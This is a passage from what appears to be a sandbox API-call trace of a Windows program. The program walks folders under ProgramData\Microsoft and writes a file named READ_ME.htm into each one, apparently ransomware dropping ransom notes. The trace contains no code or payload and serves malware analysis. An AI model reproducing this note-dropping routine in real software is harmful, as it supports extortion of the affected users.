ftLastWriteTime.dwLowDateTime=0x4e732860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0140.383] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.384] SetErrorMode (uMode=0x0) returned 0x1 [0140.384] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups", lpFilePart=0x0) returned 0x4f [0140.384] SetErrorMode (uMode=0x1) returned 0x0 [0140.384] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\integration\\shortcutbackups\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e732860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e732860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.384] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e732860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e732860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.384] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e732860, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e732860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e732860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.385] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e732860, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e732860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e732860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0140.385] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.385] SetErrorMode (uMode=0x0) returned 0x1 [0140.385] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\READ_ME.htm", lpFilePart=0x0) returned 0x5b [0140.385] SetErrorMode (uMode=0x1) returned 0x0 [0140.385] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\integration\\shortcutbackups\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.386] SetErrorMode (uMode=0x0) returned 0x1 [0140.387] GetFileType (hFile=0x1d0) returned 0x1 [0140.387] WriteFile (in: hFile=0x1d0, lpBuffer=0x28fd2d0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x28fd2d0*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0140.389] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\READ_ME.htm", lpFilePart=0x0) returned 0x4b [0140.390] SetErrorMode (uMode=0x1) returned 0x0 [0140.390] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\integration\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.391] SetErrorMode (uMode=0x0) returned 0x1 [0140.391] GetFileType (hFile=0x1d0) returned 0x1 [0140.391] WriteFile (in: hFile=0x1d0, lpBuffer=0x29018c0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x29018c0*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0140.393] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\READ_ME.htm", lpFilePart=0x0) returned 0x3f [0140.393] SetErrorMode (uMode=0x1) returned 0x0 [0140.393] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.394] SetErrorMode (uMode=0x0) returned 0x1 [0140.394] GetFileType (hFile=0x1d0) returned 0x1 [0140.394] WriteFile (in: hFile=0x1d0, lpBuffer=0x2905e80*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2905e80*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0140.396] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData", lpFilePart=0x0) returned 0x30 [0140.396] SetErrorMode (uMode=0x1) returned 0x0 [0140.396] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\userdata\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f05a9d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e7589c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7589c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.396] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f05a9d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e7589c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7589c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.397] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e7589c0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e7589c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7589c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.397] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e7589c0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e7589c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7589c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0140.397] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.397] SetErrorMode (uMode=0x0) returned 0x1 [0140.397] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData", lpFilePart=0x0) returned 0x30 [0140.397] SetErrorMode (uMode=0x1) returned 0x0 [0140.397] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\userdata\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f05a9d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e7589c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7589c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.398] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f05a9d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e7589c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7589c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.398] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e7589c0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e7589c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7589c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.398] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e7589c0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e7589c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7589c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0140.398] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.398] SetErrorMode (uMode=0x0) returned 0x1 [0140.398] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData\\READ_ME.htm", lpFilePart=0x0) returned 0x3c [0140.398] SetErrorMode (uMode=0x1) returned 0x0 [0140.399] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\userdata\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.400] SetErrorMode (uMode=0x0) returned 0x1 [0140.400] GetFileType (hFile=0x1d0) returned 0x1 [0140.400] WriteFile (in: hFile=0x1d0, lpBuffer=0x290c018*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x290c018*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0140.401] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpFilePart=0x0) returned 0x4e [0140.401] SetErrorMode (uMode=0x1) returned 0x0 [0140.401] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80e27350, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e7a4c80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7a4c80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.402] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80e27350, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e7a4c80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7a4c80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.402] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80e27350, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x80e27350, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x7fda3ab0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0xd1e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="integrator.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1 [0140.402] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e7a4c80, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e7a4c80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7a4c80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.402] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e7a4c80, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e7a4c80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7a4c80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0140.402] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.403] SetErrorMode (uMode=0x0) returned 0x1 [0140.403] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpFilePart=0x0) returned 0x4e [0140.403] SetErrorMode (uMode=0x1) returned 0x0 [0140.403] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80e27350, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e7a4c80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7a4c80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.403] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80e27350, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e7a4c80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7a4c80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.403] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80e27350, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x80e27350, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x7fda3ab0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0xd1e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="integrator.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1 [0140.404] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e7a4c80, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e7a4c80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7a4c80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.404] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e7a4c80, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e7a4c80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7a4c80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0140.404] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.404] SetErrorMode (uMode=0x0) returned 0x1 [0140.404] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\READ_ME.htm", lpFilePart=0x0) returned 0x5a [0140.404] SetErrorMode (uMode=0x1) returned 0x0 [0140.404] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.405] SetErrorMode (uMode=0x0) returned 0x1 [0140.405] GetFileType (hFile=0x1d0) returned 0x1 [0140.405] WriteFile (in: hFile=0x1d0, lpBuffer=0x29127f0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x29127f0*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0140.406] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\READ_ME.htm", lpFilePart=0x0) returned 0x33 [0140.407] SetErrorMode (uMode=0x1) returned 0x0 [0140.407] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.408] SetErrorMode (uMode=0x0) returned 0x1 [0140.408] GetFileType (hFile=0x1d0) returned 0x1 [0140.408] WriteFile (in: hFile=0x1d0, lpBuffer=0x2916d80*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2916d80*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0140.409] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x23 [0140.409] SetErrorMode (uMode=0x1) returned 0x0 [0140.409] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e7f0f40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7f0f40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e7f0f40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7f0f40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e7cade0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7cade0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1 [0140.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e7cade0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7cade0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1 [0140.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e7f0f40, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e7f0f40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7f0f40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e7f0f40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7f0f40, 